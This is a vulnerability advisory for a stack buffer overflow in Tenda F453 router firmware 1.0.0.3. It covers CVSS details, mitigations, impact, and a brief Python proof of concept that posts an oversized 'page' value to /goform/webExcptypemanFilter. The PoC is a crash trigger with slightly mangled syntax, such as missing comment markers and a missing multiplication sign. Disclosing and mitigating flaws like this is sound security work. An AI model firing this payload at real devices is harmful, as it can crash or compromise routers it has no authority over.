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A vulnerability exists in the Tenda F453 router firmware version 1.0.0.3 within the `fromwebExcptypemanFilter` function, which is accessible via the `/goform/webExcptypemanFilter` endpoint. This function fails to validate the length of user-supplied input to the `page` argument before copying it into a fixed-size buffer on the stack. When an attacker sends an HTTP request with an overly long `page` parameter, the data overwrites adjacent memory regions on the stack, including the function’s return address. By carefully crafting this overflow payload, a remote, unauthenticated attacker can hijack the program’s execution flow and redirect it to malicious shellcode. The exploit has been publicly disclosed, increasing the risk of widespread use in attacks against vulnerable devices .
dailycve form:
Platform: Tenda F453
Version: 1.0.0.3
Vulnerability: Stack Buffer Overflow
Severity: High
Date: 2026-03-08
Prediction: Vendor unresponsive
What Undercode Say:
Analytics
The vulnerability was discovered by researcher LtzHust and publicly disclosed via VulDB on March 7, 2026. According to NVD data, the CVSS 4.0 base score is 8.7 (HIGH), with the vector string CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P. This indicates the attack is network-based, requires low complexity, and can achieve high impact to confidentiality, integrity, and availability. The presence of a public exploit (E:P) confirms active proof-of-concept code exists in the wild .
How Exploit:
The exploit leverages a classic stack buffer overflow. Below is a Python proof-of-concept script demonstrating the attack:
import requests
Target device IP
target = "http://192.168.0.1"
endpoint = "/goform/webExcptypemanFilter"
Malicious payload: 500 'A's to overflow the buffer
In a real exploit, 'A's would be replaced with shellcode + return address
payload = "A" 500
data = {
'page': payload
}
try:
response = requests.post(target + endpoint, data=data, timeout=5)
print("[+] Payload sent. Check if device crashes or connects back.")
except:
print("[!] Target may be unreachable or crashed.")
The script sends 500 bytes to the `page` argument, exceeding the buffer capacity and corrupting the stack.
Protection from this CVE
- Vendor Patch: Check Tenda’s official website for a firmware update. If released, upgrade immediately to a version beyond 1.0.0.3.
- Network Segmentation: Isolate IoT devices like routers on a separate VLAN to limit the impact of a compromise.
- Disable Remote Management: Prevent WAN-side access to the router’s administrative interface unless absolutely necessary.
- Input Validation: As a secure coding practice, always validate the length of user inputs against buffer sizes before copying .
Impact
Successful exploitation allows a remote attacker to execute arbitrary code with the privileges of the web server process, typically `root` on embedded devices. This can lead to full device compromise, enabling the attacker to monitor network traffic, launch attacks on internal systems, add the device to a botnet, or render the router inoperable .
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Sources:
Reported By: nvd.nist.gov
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